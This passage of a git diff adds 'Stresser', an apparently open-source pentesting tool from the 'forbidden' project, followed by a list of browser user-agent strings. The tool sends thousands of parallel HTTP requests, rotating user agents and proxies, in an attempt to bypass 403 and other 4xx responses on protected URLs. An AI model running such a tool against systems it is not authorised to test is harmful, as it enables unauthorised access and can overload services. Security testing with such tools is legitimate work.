KeyboardInterrupt: + executor.shutdown(wait = True, cancel_futures = True) + self.__collection = results + + def __send_curl(self, record, passthrough = False): + curl = None + cookiefile = None + headers = None + response = None + try: + # ---------------------------- + curl = pycurl.Curl() + # ---------------------------- + cookiefile = tempfile.NamedTemporaryFile(mode = "r") # NOTE: Important! Store and pass HTTP cookies on HTTP redirects. + curl.setopt(pycurl.COOKIESESSION, True) + curl.setopt(pycurl.COOKIEFILE, cookiefile.name) + curl.setopt(pycurl.COOKIEJAR, cookiefile.name) + # ---------------------------- + if passthrough: + headers = io.BytesIO() + curl.setopt(pycurl.HEADERFUNCTION, headers.write) + # ---------------------------- + response = io.BytesIO() + curl.setopt(pycurl.WRITEFUNCTION, response.write) + # ---------------------------- + curl.setopt(pycurl.HTTP_VERSION, pycurl.CURL_HTTP_VERSION_1_1) + curl.setopt(pycurl.VERBOSE, False) + curl.setopt(pycurl.PATH_AS_IS, True) + curl.setopt(pycurl.SSL_VERIFYHOST, self.__verify) + curl.setopt(pycurl.SSL_VERIFYPEER, self.__verify) + curl.setopt(pycurl.PROXY_SSL_VERIFYHOST, self.__verify) + curl.setopt(pycurl.PROXY_SSL_VERIFYPEER, self.__verify) + curl.setopt(pycurl.FOLLOWLOCATION, self.__allow_redirects) + curl.setopt(pycurl.MAXREDIRS, self.__max_redirects) + curl.setopt(pycurl.CONNECTTIMEOUT, self.__connect_timeout) + curl.setopt(pycurl.TIMEOUT, self.__read_timeout) + # ---------------------------- + # NOTE: Important! Encode Unicode characters. + curl.setopt(pycurl.URL, record["url"]) + curl.setopt(pycurl.CUSTOMREQUEST, record["method"]) + if record["method"] in ["HEAD"]: + curl.setopt(pycurl.NOBODY, True) + if record["user_agent"]: + curl.setopt(pycurl.USERAGENT, self.__encode(record["user_agent"])) + if record["headers"]: + curl.setopt(pycurl.HTTPHEADER, self.__encode(record["headers"])) # Will override 'User-Agent' HTTP request header. + if record["body"]: + curl.setopt(pycurl.POSTFIELDS, record["body"]) + if record["proxy"]: + curl.setopt(pycurl.PROXY, record["proxy"]) + # ---------------------------- + curl.perform() + # ---------------------------- + record["code"] = int(curl.getinfo(pycurl.RESPONSE_CODE)) + record["length"] = int(curl.getinfo(pycurl.SIZE_DOWNLOAD)) + record["id"] = ("{0}-{1}-{2}").format(record["code"], record["length"], record["id"]) + content = response.getvalue() + if passthrough: + record["response_headers"] = self.__decode(headers.getvalue()) + # record["response"] = self.__decode(content) + elif record["length"] in self.__content_lengths or (self.__ignore and re.search(self.__ignore, self.__decode(content), self.__regex_flags)): + record["code"] = -1 + # NOTE: Additional validation to prevent congestion from writing large and usless data to files. + elif record["code"] >= 200 and record["code"] < 400: + file = os.path.join(self.__directory, ("{0}.txt").format(record["id"])) + if not os.path.exists(file): + open(file, "wb").write(content) + # ---------------------------- + except (pycurl.error, FileNotFoundError) as ex: + # -------------------------------- + self.__print_debug(ex, ("{0}: {1}").format(record["id"], record["command"])) + # ---------------------------- + finally: + # ---------------------------- + if response: + response.close() + # ---------------------------- + if headers: + headers.close() + # ---------------------------- + if curl: + curl.close() + # ---------------------------- + if cookiefile: + cookiefile.close() # NOTE: Important! Close the file handle strictly after closing the cURL handle. + # ---------------------------- + return record + + def __send_request(self, record, passthrough = False): + session = None + response = None + try: + # ---------------------------- + session = requests.Session() + session.max_redirects = self.__max_redirects + # ---------------------------- + session.cookies.clear() + # ---------------------------- + request = requests.Request( + record["method"], + record["url"] + ) + if record["user_agent"]: + request.headers["User-Agent"] = self.__encode(record["user_agent"]) + if record["headers"]: + self.__set_double_headers(request, record["headers"]) # Will override 'User-Agent' HTTP request header. + if record["body"]: + request.data = record["body"] + if record["proxy"]: + session.proxies["https"] = session.proxies["http"] = record["proxy"] + # ---------------------------- + prepared = session.prepare_request(request) + prepared.url = record["url"] + # ---------------------------- + response = session.send( + prepared, + verify = self.__verify, + allow_redirects = self.__allow_redirects, + timeout = (self.__connect_timeout, self.__read_timeout) + ) + # ---------------------------- + record["code"] = int(response.status_code) + record["length"] = len(response.content) + record["id"] = ("{0}-{1}-{2}").format(record["code"], record["length"], record["id"]) + content = response.content + if passthrough: + record["response_headers"] = dict(response.headers) + # record["response"] = self.__decode(content) + elif record["length"] in self.__content_lengths or (self.__ignore and re.search(self.__ignore, self.__decode(content), self.__regex_flags)): + record["code"] = -1 + # NOTE: Additional validation to prevent congestion from writing large and usless data to files. + elif record["code"] >= 200 and record["code"] < 400: + file = os.path.join(self.__directory, ("{0}.txt").format(record["id"])) + if not os.path.exists(file): + open(file, "wb").write(content) + # ---------------------------- + except (requests.packages.urllib3.exceptions.LocationParseError, requests.exceptions.RequestException, FileNotFoundError) as ex: + # ---------------------------- + self.__print_debug(ex, ("{0}: {1}").format(record["id"], record["command"])) + # ---------------------------- + finally: + # ---------------------------- + if response: + response.close() + # ---------------------------- + if session: + session.close() + # ---------------------------- + return record + + def __set_double_headers(self, request, headers): + exists = set() + for header in headers: + array = header.split(":", 1) + key = array[0].rstrip(";") + value = self.__encode(array[1].strip() if len(array) > 1 else "") + request.headers[key if key not in exists and not exists.add(key) else uniquestr(key)] = value + + def __validate_results(self): + tmp = [] + # -------------------------------- + print_time("Validating results...") + self.__mark_duplicates() + table = Table(self.__collection) # unfiltered + # -------------------------------- + self.__collection = pop(sorted([record for record in self.__collection if record["code"] > 0], key = lambda x: (x["code"], -x["length"], x["raw"])), ["raw", "proxy", "response_headers", "response", "curl"]) + # -------------------------------- + for record in self.__collection: + if record["code"] >= 500: + continue + print_cyan(jdump(record)) + tmp.append(record) + elif record["code"] >= 400: + continue + print_red(jdump(record)) + tmp.append(record) + elif record["code"] >= 300: + # continue + print_yellow(jdump(record)) + tmp.append(record) + elif record["code"] >= 200: + # continue + print_green(jdump(record)) + tmp.append(record) + elif record["code"] > 0: + continue + print_white(jdump(record)) + tmp.append(record) + # -------------------------------- + self.__collection = tmp + table.show() + + def __mark_duplicates(self): + exists = set() + for record in self.__collection: + if record["id"] not in exists and not exists.add(record["id"]): + continue + record["code"] = -2 + + def __prepare_collection(self): + print_time("Preparing test records...") + # -------------------------------- + # NOTE: Stress testing. + self.__records( + identifier = "STRESS-1", + urls = self.__url["urls"]["base"] + ) + +# ---------------------------------------- + +class Table: + + def __init__(self, collection): + self.__table = self.__init_table(collection) + + def __init_table(self, collection): + table = {} + for record in collection: + if record["code"] not in table: + table[record["code"]] = 0 + table[record["code"]] += 1 + return dict(sorted(table.items())) + + def __row(self, code, count, color): + return [ + ("{0}{1}{2}").format(color, code, colorama.Style.RESET_ALL), + ("{0}{1}{2}").format(color, count, colorama.Style.RESET_ALL) + ] + + def show(self): + tmp = [] + for code, count in self.__table.items(): + if code >= 500: + tmp.append(self.__row(code, count, colorama.Fore.CYAN)) + elif code >= 400: + tmp.append(self.__row(code, count, colorama.Fore.RED)) + elif code >= 300: + tmp.append(self.__row(code, count, colorama.Fore.YELLOW)) + elif code >= 200: + tmp.append(self.__row(code, count, colorama.Fore.GREEN)) + elif code > 0: + tmp.append(self.__row(code, count, colorama.Fore.WHITE)) + elif code == 0: + tmp.append(self.__row("Errors", count, colorama.Fore.WHITE)) + elif code == -1: + tmp.append(self.__row("Ignored", count, colorama.Fore.WHITE)) + elif code == -2: + tmp.append(self.__row("Duplicates", count, colorama.Fore.WHITE)) + if tmp: + print(tabulate.tabulate(tmp, ["Code", "Count"], tablefmt = "outline", colalign = ("left", "left"))) + +# ---------------------------------------- + +class Progress: + + def __init__(self, total, print_lock): + self.__total = total + self.__count = 0 + self.__print_lock = print_lock + + def show(self): + with self.__print_lock: + print(("Progress: {0}/{1} | {2:.2f}%").format(self.__count, self.__total, (self.__count / self.__total) * 100), end = "\n" if self.__count == self.__total else "\r") + self.__count += 1 + +# ---------------------------------------- + +class MyArgParser(argparse.ArgumentParser): + + def print_help(self): + print("Stresser v10.8 ( github.com/ivan-sincek/forbidden )") + print("") + print("Usage: stresser -u url -dir directory -r repeat -th threads [-f force] [-o out ]") + print("Example: stresser -u https://example.com/secret -dir results -r 1000 -th 200 [-f GET ] [-o results.json]") + print("") + print("DESCRIPTION") + print(" Bypass 4xx HTTP response status codes with stress testing") + print("URL") + print(" Inaccessible URL") + print(" -u, --url = https://example.com/secret | etc.") + print("IGNORE QUERY STRING AND FRAGMENT") + print(" Ignore URL query string and fragment") + print(" -iqsf, --ignore-query-string-and-fragment") + print("IGNORE CURL") + print(" Use Python Requests instead of PycURL where applicable") + print(" -ic, --ignore-curl") + print("FORCE") + print(" Force an HTTP method for all non-specific test cases") + print(" -f, --force = GET | POST | CUSTOM | etc.") + print("IGNORE") + print(" Filter out 200 OK false positive results with RegEx") + print(" Spacing will be stripped") + print(" -i, --ignore = Inaccessible | \"Access Denied\" | etc.") + print("CONTENT LENGTHS") + print(" Filter out 200 OK false positive results by HTTP response content lengths") + print(" Specify 'base' to ignore content length of the base HTTP response") + print(" Use comma-separated values") + print(" -l, --content-lengths = 12 | base | etc.") + print("REQUEST TIMEOUT") + print(" Request timeout") + print(" Default: 60") + print(" -rt, --request-timeout = 30 | etc.") + print("REPEAT") + print(" Number of total HTTP requests to send for each test case") + print(" -r, --repeat = 1000 | etc.") + print("THREADS") + print(" Number of parallel threads to run") + print(" -th, --threads = 20 | etc.") + print("USER AGENT") + print(" User agent to use") + print((" Default: {0}").format(default_user_agent)) + print(" -a, --user-agent = curl/3.30.1 | random[-all] | etc.") + print("PROXY") + print(" Web proxy to use") + print(" -x, --proxy = http://127.0.0.1:8080 | etc.") + print("OUT") + print(" Output file") + print(" -o, --out = results.json | etc.") + print("DIRECTORY") + print(" Output directory") + print(" All valid and unique HTTP responses will be saved in this directory") + print(" -dir, --directory = results | etc.") + print("DEBUG") + print(" Debug output") + print(" -dbg, --debug") + + def error(self, message): + if len(sys.argv) > 1: + print("Missing a mandatory option (-u, -dir, -r, -th) and/or optional (-iqsf, -ic, -f, -i, -l, -rt, -a, -x, -o, -dbg)") + print("Use -h or --help for more info") + else: + self.print_help() + exit() + +class Validate: + + def __init__(self): + self.__proceed = True + self.__parser = MyArgParser() + self.__parser.add_argument("-u" , "--url" , required = True , type = str , default = "" ) + self.__parser.add_argument("-iqsf", "--ignore-query-string-and-fragment", required = False, action = "store_true", default = False) + self.__parser.add_argument("-ic" , "--ignore-curl" , required = False, action = "store_true", default = False) + self.__parser.add_argument("-f" , "--force" , required = False, type = str.upper , default = "" ) + self.__parser.add_argument("-i" , "--ignore" , required = False, type = str , default = "" ) + self.__parser.add_argument("-l" , "--content-lengths" , required = False, type = str.lower , default = "" ) + self.__parser.add_argument("-rt" , "--request-timeout" , required = False, type = str , default = "" ) + self.__parser.add_argument("-r" , "--repeat" , required = True , type = str , default = "" ) + self.__parser.add_argument("-th" , "--threads" , required = True , type = str , default = "" ) + self.__parser.add_argument("-a" , "--user-agent" , required = False, type = str , default = "" ) + self.__parser.add_argument("-x" , "--proxy" , required = False, type = str , default = "" ) + self.__parser.add_argument("-o" , "--out" , required = False, type = str , default = "" ) + self.__parser.add_argument("-dir" , "--directory" , required = True , type = str , default = "" ) + self.__parser.add_argument("-dbg" , "--debug" , required = False, action = "store_true", default = False) + + def run(self): + self.__args = self.__parser.parse_args() + self.__args.url = self.__parse_url(self.__args.url, "url") # required + self.__args.ignore = self.__parse_ignore(self.__args.ignore) if self.__args.ignore else "" + self.__args.content_lengths = self.__parse_content_lengths(self.__args.content_lengths) if self.__args.content_lengths else [] + self.__args.request_timeout = self.__parse_request_timeout(self.__args.request_timeout) if self.__args.request_timeout else 60 + self.__args.repeat = self.__parse_repeat(self.__args.repeat) # required + self.__args.threads = self.__parse_threads(self.__args.threads) # required + self.__args.user_agent = self.__parse_user_agent(self.__args.user_agent) if self.__args.user_agent else [default_user_agent] + self.__args.proxy = self.__parse_url(self.__args.proxy, "proxy") if self.__args.proxy else "" + self.__args.directory = self.__parse_directory(self.__args.directory) # required + self.__args = vars(self.__args) + return self.__proceed + + def get_arg(self, key): + return self.__args[key] + + def __error(self, msg): + self.__proceed = False + self.__print_error(msg) + + def __print_error(self, msg): + print(("ERROR: {0}").format(msg)) + + def __parse_url(self, value, key): + data = { + "url": { + "schemes": ["http", "https"], + "scheme_error": [ + "Inaccessible URL: Scheme is required", + "Inaccessible URL: Supported schemes are 'http' and 'https'" + ], + "domain_error": "Inaccessible URL: Invalid domain name", + "port_error": "Inaccessible URL: Port number is out of range" + }, + "proxy": { + "schemes": ["http", "https", "socks4", "socks4h", "socks5", "socks5h"], + "scheme_error": [ + "Proxy URL: Scheme is required", + "Proxy URL: Supported schemes are 'http[s]', 'socks4[h]', and 'socks5[h]'" + ], + "domain_error": "Proxy URL: Invalid domain name", + "port_error": "Proxy URL: Port number is out of range" + } + } + tmp = urllib.parse.urlsplit(value) + if not tmp.scheme: + self.__error(data[key]["scheme_error"][0]) + elif tmp.scheme not in data[key]["schemes"]: + self.__error(data[key]["scheme_error"][1]) + elif not tmp.netloc: + self.__error(data[key]["domain_error"]) + elif tmp.port and (tmp.port < 1 or tmp.port > 65535): + self.__error(data[key]["port_error"]) + return value + + def __parse_ignore(self, value): + try: + re.compile(value) + except re.error: + self.__error("Invalid RegEx") + return value + + def __parse_content_lengths(self, value): + tmp = [] + for entry in value.lower().split(","): + entry = entry.strip() + if not entry: + continue + elif entry in ["base"]: + tmp.append(entry) + elif not entry.isdigit() or int(entry) < 0: + self.__error("Content lengths must be either 'base' or numeric equal or greater than zero") + break + else: + tmp.append(int(entry)) + return unique(tmp) + + def __parse_request_timeout(self, value): + if not value.isdigit(): + self.__error("Request timeout must be numeric") + else: + value = int(value) + if value <= 0: + self.__error("Request timeout must be greater than zero") + return value + + def __parse_repeat(self, value): + if not value.isdigit(): + self.__error("Number of total HTTP requests to send must be numeric") + else: + value = int(value) + if value <= 0: + self.__error("Number of total HTTP requests to send must be greater than zero") + return value + + def __parse_threads(self, value): + if not value.isdigit(): + self.__error("Number of parallel threads to run must be numeric") + else: + value = int(value) + if value <= 0: + self.__error("Number of parallel threads to run must be greater than zero") + return value + + def __parse_user_agent(self, value): + lower = value.lower() + if lower == "random-all": + return get_all_user_agents() + elif lower == "random": + return [get_random_user_agent()] + else: + return [value] + + def __parse_directory(self, value): + if not os.path.isdir(value): + self.__error("Output directory does not exists or is not a directory") + return value + +# ---------------------------------------- + +def main(): + validate = Validate() + if validate.run(): + print("##########################################################################") + print("# #") + print("# Stresser v10.8 #") + print("# by Ivan Sincek #") + print("# #") + print("# Bypass 4xx HTTP response status codes with stress testing. #") + print("# GitHub repository at github.com/ivan-sincek/forbidden. #") + print("# Feel free to donate ETH at 0xbc00e800f29524AD8b0968CEBEAD4cD5C5c1f105. #") + print("# #") + print("##########################################################################") + out = validate.get_arg("out") + stresser = Stresser( + validate.get_arg("url"), + validate.get_arg("ignore_query_string_and_fragment"), + validate.get_arg("ignore_curl"), + validate.get_arg("force"), + validate.get_arg("ignore"), + validate.get_arg("content_lengths"), + validate.get_arg("request_timeout"), + validate.get_arg("repeat"), + validate.get_arg("threads"), + validate.get_arg("user_agent"), + validate.get_arg("proxy"), + validate.get_arg("directory"), + validate.get_arg("debug") + ) + stresser.run() + results = stresser.get_results() + if results and out: + write_file(jdump(results), out) + stopwatch.stop() + +if __name__ == "__main__": + main() diff --git a/src/stresser/user_agents.txt b/src/stresser/user_agents.txt new file mode 100644 index 0000000..5272dc5 --- /dev/null +++ b/src/stresser/user_agents.txt @@ -0,0 +1,96 @@ +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edg/89.0.774.50 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.70 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.76 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Edg/83.0.478.37 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Edg/89.0.774.77 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Edg/87.0.664.75 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.56 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.42 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.81 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; 